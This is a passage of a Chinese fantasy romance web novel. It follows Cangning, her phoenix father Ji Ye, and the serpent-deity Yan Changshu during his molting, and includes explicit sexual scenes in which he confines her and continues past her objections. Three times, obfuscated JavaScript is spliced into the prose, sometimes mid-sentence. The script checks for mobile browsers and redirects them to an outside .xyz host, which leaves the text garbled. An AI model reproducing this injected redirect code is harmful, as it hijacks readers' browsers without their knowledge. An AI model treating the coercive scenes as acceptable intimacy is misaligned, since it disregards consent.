姬烨双指微抬,她的膝盖自动弯下去,跪在地上。苍宁爬起身来,气得发抖:“您一来就让我跪,我哪里做错了!我和您说的都是肺腑之言,您一句不听,却听信那些仙侍所言!” 苍宁委屈得要死。她素来是在外刚韧,一见亲近之人便忍不住委屈撒娇的毛病,现下说两句便哭得上气不接下气。 姬烨蹙眉道:“你说了什么肺腑之言?” “您是我爹爹,凝安上神是我娘亲,我在三危山出生长大,西王母娘娘是我的师傅,天帝却想要杀我。” 姬烨抿唇,眯眸沉道:“胡言乱语。” “我没有说谎。晏长书通晓时空之术,他可以为我作证。” “不可对尊者无礼。” 姬烨到底不信。他今日来不过是告诉她,天帝送来的小麻雀已经找到,可还她自由身,是去是留,由她自己决定,但若存了歪心思,别怪他不客气。 苍宁扁着嘴,眼睛都肿了,等姬烨站起身来,小声忿忿道:“……以后再也不喜欢爹爹了。” 泪眼朦胧中,她膝盖的术法已无声消解,她瞧见自己的神刀在侧,终于知晓自己的刀为何唤不出来,便歪歪扭扭站起来去拿,谁知姬烨从她手中夺过,睥睨而视,面色不善。 她皱眉:“你怎么连我的刀都要拿走?” 姬烨沉声道:“此乃凤凰一族传世宝刀,名唤斩星,唯有凤凰血脉方可使用,跟随本殿数千年之久,如何是你的刀?” 原来这是爹爹的刀? 苍宁凝神屏息,想要驱动神刀,神刀猎猎作响,发出阵阵刀鸣,她握住刀柄,熟悉的力量在她体内回荡,可似乎有什么在阻挡她的力量。 姬烨先是从她的手腕探进一股力,剑眉紧蹙,尔后握住刀身,面色复杂。 正值此时,一名仙侍急匆匆小跑而来,俯身在姬烨身旁耳语。他神色不稳,匆忙离去,回身对苍宁交代道:“这几日你安分些,若要参加比试,便守着规矩,莫出风头。莫要——去打扰尊者休憩。” 苍宁眼见着刀被带走,熟悉的力量消失得干干净净:“欸——我的刀!” 守什么规矩?守规矩能解决她现在的问题吗?不能。 不过爹爹怎么会知道她要参加比试大会的?这凤凰山上告状的仙侍也太多了吧! 姬烨走后没再回来。 苍宁方才察觉到身体中有力量流转,想法设法驱动魄丹,仍是无用。金乌落至山下时,她见晏长书整日都未从房中出来,偌大的瑶柱宫无人照看,便拉开门,想要溜到凤凰城的主殿去。 谁曾想她一拉开门,就看见几十个仙侍恭恭敬敬站在外面,堵住了路。苍宁回身关上门,寻到另一侧门处,同样围着几十个仙侍。 四扇门被仙侍围得水泄不通,苍宁叉腰站在狗洞前,连声叹气,可谓忍辱负重。她弯腰爬过去,刚惊叹于爬得怎如此通畅,抬眼便看见送她玉佩的貌美仙侍,正脸色奇差地站在她面前。 苍宁没由来地有点心虚。尤其像儿时被西王母娘娘,被林芝捉到的心虚。 她半个身子缩在狗洞里,屁股卡住了,被貌美仙侍从院中扒拉出来。 苍宁拍了拍腿上的泥土,尴尬笑道:“……我正想去找你呢?你,你看起来脸色不太好。” 不止脸色不太好,身子也有些虚弱。 貌美仙侍右手放在腹部,坐在花园亭台中,细细瞧她,用视线描摹着她每一寸轮廓,看得苍宁浑身起鸡皮疙瘩。 苍宁摸了摸脸:“我脸上是不是有泥巴?” 仙侍摇头,沉默良久,问道:“上次忘了问你,你叫什么名字?” “苍宁。” “这个名字,是你爹娘取的吗?” “当然啦!” 仙侍抚住腹部,双睫微颤:“你……你过得可好?” “不好。”苍宁摇头,“我力量尽失,正琢磨着如何恢复力量。少主不肯相信我,尊者不肯帮我,真是麻烦事。您上回说我不该双修,可我也没法子,我喜欢他,如果和他的话,我并没有什么心理负担。” 仙侍蹙眉:“……你同尊者?可他的年岁……” “年岁?” 仙侍抬手,咳嗽了两声:“你不知晓?那你们?” “我确实不知晓,我很多都不知道呢!他可恶极了!” “如何可恶?” 苍宁想到来时在洞穴中的贪欢,还有第二世在医铺里的那些事情,话到了嘴边,又不好意思同旁人说出来,脸红了红,撇嘴道:“反正他就是可恶得很。” 仙侍叹道:“尊者佛修已近万年,寿命更近无穷。他心怀众生,广济天下,未尝情爱,在小我中,恐怕令你感到‘无情’。依照这种情况,他并不适合你。” 苍宁点头:“我知道,我不怕。” “非他不可吗?” “现下,非他不可。” “那他呢?非你不可吗?” 苍宁沉默道:“不知道。” 仙侍又问她的年岁、爱好,有哪些朋友,爱吃什么菜,问她为何要去参加比试大会,苍宁说是因为想去见见自己的爹娘。 “为什么?” “因为我从小就没爹娘,他们在我出生时牺牲了。” 仙侍眼中泠泠有波,末了叹道:“……对不起。” “你别道歉呀!我每次都分不清别人和我道歉的原因,我会疑惑很久的。”特别是晏长书轮回时,总是在和她道歉,她每次都在想为什么,他也不解释。 这位仙侍是苍宁来到凤凰山对她最好的仙侍,她留下名字,说唤作知危。知危时常来寻她,每次都恰好带着苍宁喜欢的水果,苍宁一口气要吃很多。 知危还亲授她从未学习过的凤凰秘法,便能驱动三昧真火,人刀合一。 苍宁惊讶道:“漂亮姐姐是凤凰吗?” “我不是,但我能吸纳一切力量,融而为一。” “那姐姐一定很厉害吧!” 知危弹她的脑袋道:“依我看,你要更胜一筹。” 如此一来,苍宁的魄丹逐渐涌起神力,但知危瞧上去有些虚弱,苍宁问起来,她只说在养身子,还温柔打趣,要给她介绍郎君。 苍宁说长得一定要俊,知危捂嘴笑,说是少主朋友的孩子,保证俊,与她的年岁相差没那么大,还是少年郎,名唤辟星。 这不看还好,一看吓一跳!知危带来的画像上,不是貔大虎又是谁?! 苍宁感到一阵恶寒,连连摆头:“不行不行。绝对不行!” “这孩子有责任心,知爱有趣,缺点的话……许是有些贪玩。” “我不喜欢吃金子的。”苍宁把头摇成拨浪鼓,“吃金子不够俊,再说了,两个贪玩的人是过不到一起的,这辈子都给毁了,不行不行,我喜欢晏长书这样的,要么,要么就少主那样的,成熟,帅气!” 知危噗嗤一笑: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030052|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “成熟?他……长大后是越来越成熟了。” “姐姐你和少主很熟?” “他也管我叫姐姐呀。” 欸?! “那你知道那个凝安上神吗?他和凝安上神怎么认识的啊!感情是不是很好!” 知危含笑点头。 据知危说,凝安上神本住在三危山,拜于西王母座下,美貌闻名于神界。一次修行结束后,她听闻凤凰山出现血色大婚,婚礼时被人屠杀全场,只留下了一位瘦弱女孩,那女孩儿长大后,有艳丽之姿容,为众人争抢。 凝安上神听闻后,可怜那女儿的命运,便替她寻得一方清净地,轻声软语地同她说话,让她唤自己姐姐,让她别害怕,一切都可以重新开始。 谁知那女儿并不领凝安上神的情,也不说话,离开好几次后,凭一己之力杀掉了血色大婚的始作俑者。 许是因为复仇后了无目标,她站在一屋血泊中,静静发呆,长到地面的头发已经被血染红,打了结,双目没有一丝生气。 凝安给她擦洗身子时,才发现她不是女儿郎,是极其、极其俊美的男儿郎。伪装成女子,不过是他放松敌人警惕的计划。他盯着凝安,不像是无辜的鹿,反倒像是伺机已久的狼。 姬烨伸手掐住她的下巴,丝毫不吝啬自己的赞美:“姐姐好美。” 凝安心神一动,想要挣脱,谁知姬烨连人打横抱起来,将凝安压在床榻上:“姐姐不害怕我吗?” 凝安冷道:“我有什么好怕的。于我而言,你不过是小小孩童。” 凝安话还没说完,姬烨便笑起来,将她的手强制性带到身下,逼她握住,凝安天仙容颜上泛起红晕,叫姬烨又吻又咬,依依留恋。 他哑声说道:“姐姐,我想要你。” 后来,姬烨摇身一变,成为了凤凰族的少主,便将凝安接到凤凰山,过了好一段快活日子。再后来,天帝在百花宴上见到他们,发生了一些变故。 八卦说到这里,知危沉默下来:“有时,我不得不相信命。可我只能做出当下最好的选择。” 苍宁问道:“是什么?” 知危看向她: “苍宁,今天的修行都记住了吗?” 苍宁点头。 “嗯,不要忘记。不遗忘,是我对抗世事无常的一种方式。”知危微笑,“等到比试大会……只有二十五日了啊。” 知危沉默半晌:“若拿回力量,你想做什么?” 见完爹娘,回到自己的时间,杀了天帝——不管能不能杀掉。 苍宁笑道:“顺其自然。” - 晏长书已经八日未出房门了。 不知是否因为凤凰们喜爱日光的原因,凤凰山上的夜晚总是浮着一层淡淡的赤色,像是血浮于波光粼粼的水面上。 苍宁夜里本不想骚扰晏长书,可是听见房间里传来闷闷的声响,她轻轻推开门,探头进去,见屋子里萦绕着浅淡的金光,不似平日孤冷,冒着暖意。 床幔后,晏长书呼吸沉重,黑漆漆一团。 苍宁心生疑惑,蹑手蹑脚想要撩开床幔,粗/壮蛇尾比她快上一步,将她拦腰卷到床榻上,紧接着,一圈一圈,从她的纤腰缠到脚腕,将她牢牢固定在身下。 晏长书正是人身蛇尾的状态。 他浑身滚烫,掐住她的肩膀,张口咬在她的脖颈侧,苍宁吃痛不语,难以撼动他的力量,后知后觉地反应过来,他大约是蛇蜕之时。 “晏长书?” 她想知晓他现在是否有意识。 晏长书肌肉紧绷,微微懈力,缓缓低头,贴在她的腰腹上。狭小而昏暗的空间中,苍宁轻轻吐息,只觉魄丹中流转着一股气息,越来越有力,越来越滚烫,和他的身体产生共鸣,让她为之激狂、颤抖。 他的墨色的长发蜿蜒在她身前,有丝冰凉。 苍宁想要他抱得紧一些,更紧一些。 “晏长书……” 她对今晚的状态感到迷茫,难耐地勾住他脑后的长带,将一脉心莲攥在自己手中。 她闻见了他身上浅淡的香气。 他的面庞轻轻蹭动,在她腰际留下淡若柔云的吻。 良久之后,身体内魄丹的共鸣愈来愈强烈,苍宁意识酥软之时,他忽然找回了些许清明的意识。 苍宁睁开眼,望着他的面容。 他覆目长带有些松散,只稍她微微用力,便能扯下来。 他好像在看她。 苍宁的心狂跳着。 晏长书喉珠上下滚动,低声喃喃,似迷惑,似沉醉: “……你为何总是能闯进我的结界?” 59. 强制共鸣·一 苍宁从未有过这种感觉,身体的共鸣比往日亲密更多一层快意。 魄丹中流转的力量蔓延全身,随着他的触碰激起阵阵战栗,如涟漪般漾开,渺渺如轻烟。 她吐纳着浅金色的流烟,悠悠然呼出,同色的结界迅速布满浅淡的烟雾,将两人圈绕起来。 她勾住他的脖颈,半眯着的双眸氤氲着迷醉的浅光,隔着乳纱般的薄烟,犹如波光粼粼的河面上一盏永不弥散的烛灯。 晏长书的身体很烫,流烟却冰凉。 它们从她的唇间缓缓溢出,萦绕在晏长书的口鼻之间,被他勾进身体中,轻缓吐纳,缓解身体中难耐的热意,让他更加渴求安慰的触碰。 每一次吐息,每一寸肌肤…… 他的唇瓣缓缓游走,苍宁如饮酒得醉,莹白的皮肤透着艳丽的红。层层流烟在他们体内流转,煨得五脏六腑灼灼发热,四肢经络通顺,最后归于魄丹,腹部生暖。 她感到蕴藏已久的力量终于一点点被唤醒,为她所用。唯一的缺点是,她不满足于他毫无欲念,蜻蜓点水的触碰,浑身燥热,想寻一个出口。 可晏长书不懂。 他抱着她,像菩萨捧着心爱的宝珠,或是凡人执着的一味药,贪用功效。 苍宁不满地抓住他的长带,微微用力,要他俯身。晏长书垂下头,半张面容犹如玉刻,完美无瑕,微凉墨发如水垂落在她燥热脖颈间,发尾却勾得人心痒痒。 她屈起的指节擦过他的唇畔,温软的唇揉出浅淡的红色,将湿热的气息一同带到他的唇瓣间。 触感很好,软,有香气。只是比她印象中更冷。 她沿着唇瓣边缘一点点吮吻,想要让他染上情欲的颜色。 他没有动,没有拒绝,任由狡黠的舌尖在他双唇间游弋,探进去,含住他的舌尖。待她气息不稳地退出来,他的唇已然一片嫣红,泛着莹亮的靡靡色泽。 她心头怦怦直跳,手指微动,不留意勾住他的覆目长带。 晏长书的眼眶处倒映着她的面容,闪着沉沉的,潋滟的光。 ——完全的黑色,深不见底。 他看不见她。 他无法知晓她的模样。 苍宁沉默半晌,问:“我听说你的双眼是为比翼鸟所伤……是真的吗?” 他长睫微颤:“没有。” “那你的眼睛去哪了?” 去哪了? 他沉默地思考,唇角微微勾着,似笑非笑,令她捉摸不透。 尔后,他淡道:“送给了比翼鸟。雄曰野君,雌曰观讳,一鸟一翼一目,死生一命,共见天地。野君和观讳失去眼睛,无法看见对方模样,我便将双眼赠予他们,让他们得偿所愿。” “……你的眼睛会好吗?” “蛇蜕之后,会新生出双眼。我现下,能够看见野君和观讳的模样。” 苍宁有些吃惊:“你偷窥别人私生活啊。那你……你岂不是什么都能看见……”却看不见自己身边的人,身边的事? 苍宁问道:“他们现在在做什么?” 晏长书歪头,沉吟道:“做一些动作。” “什么动作?” “……” 苍宁好奇心强,几次催促,晏长书忽而攥住她的手腕往后拉,将她整个人翻转过来,侧压在床榻上。她双足没有支撑点,被他牢牢握在手中,他面色不动,垂下头道:“奇怪的动作。” 双方头朝下,正能看见牡丹潺潺美景。 苍宁还未曾试过这种姿势,变了脸色:“你……你在看?人家脱衣裳你也看?” 晏长书一愣:“没脱衣裳。我能看见他们的脸。” 苍宁有些尴尬,爬起来推搡他:“你别看你别看,什么奇怪的动作,人家恩爱着呢。” “恩爱?” 他透出迷茫。 苍宁解释道:“比翼鸟,比翼双飞,在人间是恩爱的象征。我们鸟族只要认定一个人,便永不离弃。” 他疑惑的神情转了一圈,轻声问:“他们的嘴唇也贴在一起,这是恩爱吗?” “当然。亲吻,拥抱,”苍宁眨眨眼,“甚至把你吃掉,都是。” “吃掉?”他有点警觉了,蛇尾摇晃着,像是要时刻发起攻击。 苍宁笑起来:“不是真的吃,是一种相互的,融为一体的感觉。我们来日很恩爱的。” 晏长书将她的脚腕松开,她的小腿搭在摆动的蛇尾巴旁,温暖的脚心踩住了尾巴上部一道奇异的裂缝,晏长书的蛇尾将她的脚腕卷起来,拉高。苍宁发觉他面不改色,耳垂尖尖却有些红。 她噗嗤一声笑:“你耳朵红了,晏长书。” “没有。” 他伸手摸到自己的耳垂,的确滚烫,蛇尾又冰冰凉,脑中不知是何种温暖,搅得思绪乱七八糟。 最后,晏长书抓住了她的手,提出了要求:“陪我。” 直白又不含一丝欲望,单纯的字面含义。苍宁轻声笑道:“你现在相信我说的话了?” 他微微张唇道:“你的身体能与我共鸣。” 苍宁一愣。 晏长书歪头:“你的身体很舒服,很香。感觉很好吃。”她贴在他嘴唇上时,他也觉得很舒服。 “我还想要。” 蛇蜕并未结束,只是刚刚开始。 - 晏长书是抱着苍宁睡觉的,除了单纯的肌肤相贴,他没有任何诉求,也没有任何情欲。 原来这就是晏长书原本的模样。 日光浮影时,苍宁挣脱他的双臂,化作原身整理羽毛。被抱了一晚上,感觉羽毛都要塌了。 晏长书迷迷糊糊中摸了摸她的翅膀,转身又昏过去。 蛇蛇真是不容易,怎么蛇蜕一次就和要死一回一样? 苍宁本心情不错,可一出门就被上回那个送牡丹来的仙侍剜了一眼。小仙侍满脸鄙夷,大声埋怨道:“哟,贵人事忙,床上伺候得没日没夜的,牡丹都败了!” 苍宁本就忍着凤凰山的仙侍已久,听见这仙侍还是胡乱说话,上去就给了他一巴掌,眯眸道:“你再嚼舌根,我拔了你的舌头!” 小仙侍没想到她如此胆大,咬牙忿忿道:“你没规矩,还不如别人说。” “我告诉你,我可不是弱不禁风的女子,有的是力气和手段,今儿个我魄丹便是一丝能力都没有,也要叫你叫天天不应,叫地地不灵!” 苍宁作势就要来拔他的舌头,把小仙侍吓得够呛,在牡丹花丛中来回惊恐游蹿,不等苍宁捉住他,小仙侍一个脚软扑倒在门前,被浅金色的结界弹开,摔了个四脚朝天。 “诶哟!” 小仙侍瞧见门打开了,休养的尊者正站在门口。 晏长书衣裳不似平日规整,而是半敞着,露出优美的锁骨和半个胸膛优越的线条。他没有穿鞋,赤足隔开地面,不染纤尘。 小仙侍狗爬般四手并用爬过去,想要抓住晏长书的衣袍,被结界灼伤,烫得嗷嗷叫。 “尊者,这个仙侍在外大吵大闹,打扰尊者休憩,实在无礼!” 晏长书闭着眼,黑长的睫毛乖巧地伏在脸颊上,凭借着她身上的气息,确定了她的位置。 他无视小仙侍的愤懑,抬脚越过小仙侍的身子,从身后将她拦腰扣在怀中,头搁在她的脖颈处,缓缓摩挲,发出满足而安心的喟叹。 晏长书哑声道:“别走,陪我。” 小仙侍僵在原地一动不动,呆滞了。 苍宁正在气头上,用手肘拱他道:“你都抱了一晚上,让我伸伸翅膀。” 他察觉到她的不快,淡道: “你的心跳得很快,为什么?” “我在生气。” “为什么生气?与我一起,不舒服么?” 喜爱舒服,是兽的本能,就像鸟儿喜欢被梳理羽毛,可晏长书是不是太旁若无人了些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他将手放在心口,拍了拍,示意自己的心安分一些。他还有正事要做,他需要调整愿力,与她一起完成蛇蜕。可是他的心和她一样不听话。 所以,晏长书将她栓在了床上:没用任何绳索,只是将她魄丹中的愿力调动出来,让他们身体中流转着同源的力量,深深共鸣。 她的脸很红,眼睛发亮,有所有漂亮小鸟应有的模样,可没有任何一只鸟有资格咬他。 他被狠狠咬了一口。 他感觉到疼了,心底竟有丝说不清道不明的愉悦。好像他通过她,感知到了世界。 苍宁像被打湿的,湿漉漉的牡丹,他闻见奇异的,腻人的香气,拱着鼻子寻到湿润处。她说够了,足够了,他却能感知到愿力流转下她到底舒不舒服。 不舒服。她还不够舒服。 他判定之后,便不会停止,像得到指令的泥人,必须完成命令才会停下,叫她醉生梦死。 他淡漠的神情加重了反差,更让苍宁羞愤。他迷茫着,撑起身子,根本不明白她为何会有这么大的反应,又甜又香。他没有获取应有的舒服,反而更加不舒服。 还是不舒服,这样不舒服的…… 他强势地攥住她的手腕,本能地往蛇尾处带。蛇尾处有一道裂缝,比他的身体更加滚烫。 他的嗓子被流转的热意煨得低哑,不安分的尾巴尖缠住她,从脚腕处爬上去。 他清冷的面容染上欲念,透出一层淡淡的红,耳垂尖如石榴似的,诱人吞入唇中。 晏长书蹙了蹙眉,懵懂道:“难受。” 不应该这么难受的。明明之前很舒服…… 他低声道:“小乖,我难受……” 60. 强制共鸣·二 蛇尾不像他的身体那么热,缓缓移动、摩挲,一块一块鳞片汲取苍宁身体上的温暖和湿热,泛出一层泠泠的欲光。 柔软的蛇尾屈起,探入,卷动,他的长指顺着蛇尾所到之处微微拨弄,往外扒开,像一个懵懂的童生观察着牡丹在大雨中的姿态。 红腻软香,花香袭人,一晌偎人颤。 晏长书忽然想起瑶柱宫中的确放着十几盆牡丹,恹恹的,远不及她漂亮。她拍开他的手,留下好大一个红印子,蛇尾往后移动,脱离之后,倍感寂寞。 苍宁欲脱身而去,大肆骂他:“晏长书,你怎么敢用蛇尾……这样不可以!” 不可以吗?不是这样吗? 如果不是,她体内那些痕迹是从何而来的? 好像不应该是这样的。 他按住她道:“小乖?” 苍宁忍无可忍:“不要叫我小乖。”这个称呼让她鸡皮疙瘩都要起来了,“你什么时候睡?” 他偶尔会精力不支,眯一会儿。 晏长书摇头:“我睡不着,现在我……” 他翻来覆去,不知如何纾解,纯情得有如在卍象图中的模样。可苍宁却不可能真的同他做。晏长书光是触碰她的肌肤得到甜头,便没日没夜地寻求慰藉。她瞧见了那两个家伙,并蒂生般,凶神恶煞。一个便受不住的,何况是两个? “别叫我小乖。叫宁宁就好了。” 他点点头,尾巴尖仍想循着旧路爬进去,苍宁掐住他的蛇尾巴,他敏感地一怔,尾巴缠住她的手腕,绕紧。苍宁碰到哪里,哪里就会变得柔软,再变得紧韧。 苍宁要拽出自己的手腕,拉扯两下无用,便用手指去拨弄他尾巴上的鳞片,逆着挠,一片一片,从尾巴尖拨到裂缝后头,有几片掀开了,翻过来,他愣愣地瞧着,尾巴一甩,更用力地圈紧她,呼吸更加深重。 “宁宁……” 他低声念出了熟悉的称呼,苍宁心一动,忽然想起旧时的亲近。她扣刮着他的鳞片,想叫他感到疼,不一会儿,便见他脸颊上浮现着三片黑色蛇鳞,发出奇异的流光。 他深深浅浅喘着,柔软如肌肉的蛇尾弯成曲线形,紧绷着,诡异地发颤,每片鳞片都激动地竖立起来。 苍宁还未反应过来,蛇尾徒然一抖,尾巴尖懒懒地软下去,搭在她的手腕上,舒服地直打摆。 他双手扣住她的腰,将她抱在怀里。 “宁宁,好舒服。” 苍宁松开手,不敢相信就这样……让他到了…… 他怎么如此不禁拨弄? 末了,他用下巴蹭蹭她的脸:“还想要。” 苍宁手臂被他缠出弯曲的红痕,手腕发酸,红着脸甩开他:“不要了晏长书,四日了,我受不住。” 他哑声贴在她耳边:“你体内有我的力量,如何受不住?” 不是身体受不住……是无法被满足的欲念受不住。苍宁不是蛇,而是鸟,没有蜷缩在洞穴中的习惯,更不愿叫他在一无所知中逍遥快活,何况,她有正事要做。 她问:“你会送我回到属于我的时间里吗?” 他沉默。 “不会吗?” 他道:“……我喜欢你在我身边。” “现在看来,你不是喜欢我,你是喜欢这些快乐。”苍宁道,“换一个人,若也能这样给你快乐,你是不是会对她感兴趣?” 他摇头:“只有你能走近我。” “只是这样吗?” 他懵懂不解。 “只有这种程度可不行,晏长书,我若爱了,要的就是唯一,你若不爱我,我便要找别人去,这些我都明明白白告诉你。你懂爱吗?这几日,你不顾我的意愿,将我圈在这里,这只是你的一己私欲。”苍宁掀起眼皮,嘟囔他:“而且,若我一直在这里,来日该当如何?你难道不懂?” 他侧耳,凑下去,听她的心跳:“来日我与你如何?” “好。”她想了想,另一手搭在他后颈,没入他的发间,嗅到他身上熟悉的香气,难得温存。 可他有点疑惑:“你的双眼能看见世界万物,如何索要唯一?” “……所以,你和我看见的晏长书不一样。” 他茫然问:“为什么?” “我对你的记忆从卍象图中开始,那时你很虚弱,无法完全掌控卍象图,旁人说,我见到的你不是真正的你。后来,你轮回转世,我去找你,旁人同样这样说。可你将万年愿力都给了我。我不愿我相信我和世间万物一样,在你心里是同等的份量,我想我总会有点不一样。”苍宁轻声询问,“如今你问出这样的话,算不算她们说对了,算不算……我认识了真正的你?” 晏长书感知到她面色不如方才轻松。她的语气听似很平静,却带着点说不清道不明的自嘲。 他能够感觉到,来日并非一帆风顺,她把心底的疑惑抛之于口,仍旧评价为“好”。想到这里,他的心奇异地颤动起来。 他出声解释:“就算我无法完全掌控卍象图,也不可能沦于法器之下。轮回转世,同样如此。” 苍宁指尖从他颈侧滑过:“你的意思是,不管身在何处,倘若你对我有意,都是真的?” 他抬头,面向她:“我不说假话。只是……现在我在想,那是什么感觉。” 她摸到他脸颊上的鳞片,眸光微闪。 “也许你对我而言就是不同的,宁宁。” 苍宁拉长了音调,哼哼两句:“说我唱歌难听那种不同吗?” “仔细一听,没有难听。”晏长书眉稍微动,沉声道,“我喜欢你被我触碰时发出的声音,很好听,让我很——” 苍宁捂住他的嘴:“好了好了,后面的就不用说了!” 晏长书果然停下来,深吻她的掌心。 来日究竟是什么样?使得会有人甘愿放弃其他一切可能,只为成就一种可能? 他抚摸她的面容,轻声道:“我想瞧瞧你的模样。” 苍宁哼笑道:“不用来生,只需来日便好。” 他低低唔了一声:“你的羽毛一定很漂亮。” 有了对未来的愿景之后,他迫不及待地想要靠近,说不清楚到底是因为结果起了心思,还是因果必然。 苍宁问他这份愿力,卍字又该如何使用,他被蛇蜕那股子痒意侵扰之余,会教她如何使用。 这份属于他们二人的力量在他们身体里相互流转,像是密密麻麻将两人连合的线,晏长书喟然满足。他偶尔希望更亲密,更舒服一些,会在共鸣之时,伸手在她魄丹处往下按,蛇尾会偷溜进去,堵得满满的,苍宁的声音被堵得断断续续,说不出完整的话。 “你……你不是佛……嗯……佛修……吗……”她疑惑道,“你的修行可以……啊……可以这样吗?” 他说是的,但他可以不是,就像他从前不是佛修那样。佛修是他想要获取存在的一种方式。 “宁宁想要了解我吗?”他眉梢挂着喜悦。她没有对他卑躬屈膝,奴颜媚骨,也没有对他不屑一顾,成为天帝的拥趸。 她被欺负得狠了,呜咽着点头,伸手推他时,不小心抓伤了他的脸。 “太过了,晏长书。不是这样了解……”是坐着聊天那样了解! 他愣了愣,睫毛微颤,吮住她的唇,咬破了她的唇角。 他尝到了血的味道,扣住她的脑袋,掐住她的下巴,为这种滋味着迷。 好喜欢…… 他身体的每一寸都在叫嚣。 他出生时孑然一身游荡在世间,在懵懂时饮甘霖河泽,吃夏泥冬雪,唯一的规则,只有四季辗转,天地之道。 那时没有人知道他,他便在自己的方寸之地生活了数万年。有一回,一个白发模样的老神君尊他为上神,请他去往神界,说那里处处是天地,何必拘泥于一处?他便跟随他去往神界。 神界欢迎他这个上古神明的后裔到来。有不少人告诉他,他是谁,他有着怎样了不得的身份,有人仰慕他,有人恨他,有人为他披上华衣,有人想要扒下他的人皮。 人皮终有一天被“扒”下了。 在蛇蜕之时,他被天帝指责为妖孽,是被上古神明抛弃的血污,以未开化的兽类,蛇性凶狠之名驱逐出上古掌权神明之外。 他分明存活于这个世界,这里怎么会不需要他,斥他为不堪呢?他没有想明白。 地藏王菩萨遇见他时,他已在火海中飘荡千年。饶是他不死不灭,肉身毁去又重来,还是留下了濒临崩溃的裂痕。 地藏王菩萨叹息道,神明亦有法执么?上神何苦至此。 晏长书不明白,他问道,对于菩萨来说,什么是世界呢? 地藏王菩萨道,上神,万千世界,万般模样,你眼中的世界是什么呢? 晏长书从自己的小世界脱离后,进入了更大的世界。他眼中的世界,是无数个小小世界碰撞后支离破碎的模样。 他是一个旁观者。 包括他自己的痛苦。 他成为了痛苦的旁观者,喜悦的旁观者,权力的旁观者,爱憎的、仇恨的……因为旁观而淡漠,看似脱离规则,变得高高在上。 他偶尔也会成为被利用的见证者。一如他被请入神界,又被众神唾弃。 菩萨怜悯众生,再叹道,既如此,上神可随我修行,重见天地。 此后,佛修便成为他游离世外后的一种生存。他救度众生,抛弃自己不在乎的,旁人在乎到要一刀刺死他的修为,欲在世间寻求一席之地。反正,他的能力自天地而来,可回到天地,他亦可从天地之间再度凝聚。 他从懵懂地体会生命,到知晓生命的有用之处,再到如今……他甚至不那么在乎自己的生命。 他的生命应当有用。 菩萨盘坐时,闭眼对他道,你的生命漫长,原本不该受用于“价值”。 他垂头,什么“价值”? 菩萨道,你的力量强大,于旁人而言意味着价值,可天边的云,地上的野花,河边的石头,数不可数的细草……也许看似无用,却是构成世界不可或缺,无法简单用价值替代之物。你的生命漫长,需明白因缘聚合,还是先回到体验中,去寻找不可或缺,无法替代之物吧。 至此,他日复一日地探寻着菩萨的深意。如果找到了更好的,唯一的存在方式,他便拥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030054|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱那个崭新的,唯一的可能。 因缘际会,他从她的身上感知到了单纯的喜悦。 她很聪明,很熟练,喜欢源源不断的力量。只要学会了,便反身将他压在身下,主导一切。他很喜欢她带来的这种感觉,他没有给过其他人这种权利。 她当然也会瞒着他偷偷溜出房间,第一次是和那个聒噪的小仙侍说话,他将小仙侍扔出了瑶柱宫,第二次,他发现苍宁在与姬烨说话。 姬烨和凝安在凤凰山上给了他一处清净,恭恭敬敬,到底于他有恩,他不能将他们扔出去。 于是那一次,他忍了下来。 他不明白自己为什么受不了她对旁人言笑晏晏。当他们用愿力共鸣之时,他发觉她还学了凤凰一脉的灵法。 若是她也会亲吻旁人,躺在他们的身下……想到这样的场景,他的心便跳得很沉重,叫他难受得发狂。 每到这个时候,他都会幻化成黑蛇模样,关闭五感,将脑袋搭在尾巴下。 可这日,苍宁又缺席了。 她在和姬烨学灵法?同姬烨? 他不如姬烨吗? 他哪里不如姬烨呢? 黑蛇没忍住开启五感,听见院内传来她的笑声,缓缓缠着床柱趴下了床。 他贴在窗边,把脑袋搁在尾巴下,敏感地闻见了她的香气。 她沐浴过。 可惜蛇形没有外耳,他尾巴怎么掩都掩不掉她笑着同旁人说话的喜悦。一向杀伐果断,十足骄傲的姬烨,竟然由着她胡闹,语气格外无力,还带着几分宠溺。 他从姬烨口中听见了自己的名字。姬烨还劝她,若是不喜欢辟星那样的少年郎,凤凰山上还有许多长得很俊的儿郎。 苍宁嘻嘻一笑,反问道,真有那么俊? 姬烨回道,自然。 苍宁说道,光俊也不行,至少要有少主这么俊。 姬烨沉默,批评她道,你看男人就光看长相么?光有长相叫绣花枕头,肩不能扛手不能挑,于你有什么用? 苍宁笑道,我喜欢晏长书,他不需要有用,反正我也可以保护他。 姬烨气笑了,沉声道,你保护他?尊者大你不知多少,需要你保护吗? 苍宁挑眉,等我把这些全都学会了,还是我更厉害些吧。怎么能只看当下,不想来日啊? 姬烨叹息,羽印未开,便骄傲自大,不知随了谁的性子。 …… 这日过后,晏长书劝自己,忍一忍,再忍一忍便好。 直到有一日,苍宁兴高采烈地扑过来,告诉晏长书她开了三枚赤青色的羽印,他忽然有一阵遗憾。 他竟然看不见她的模样。 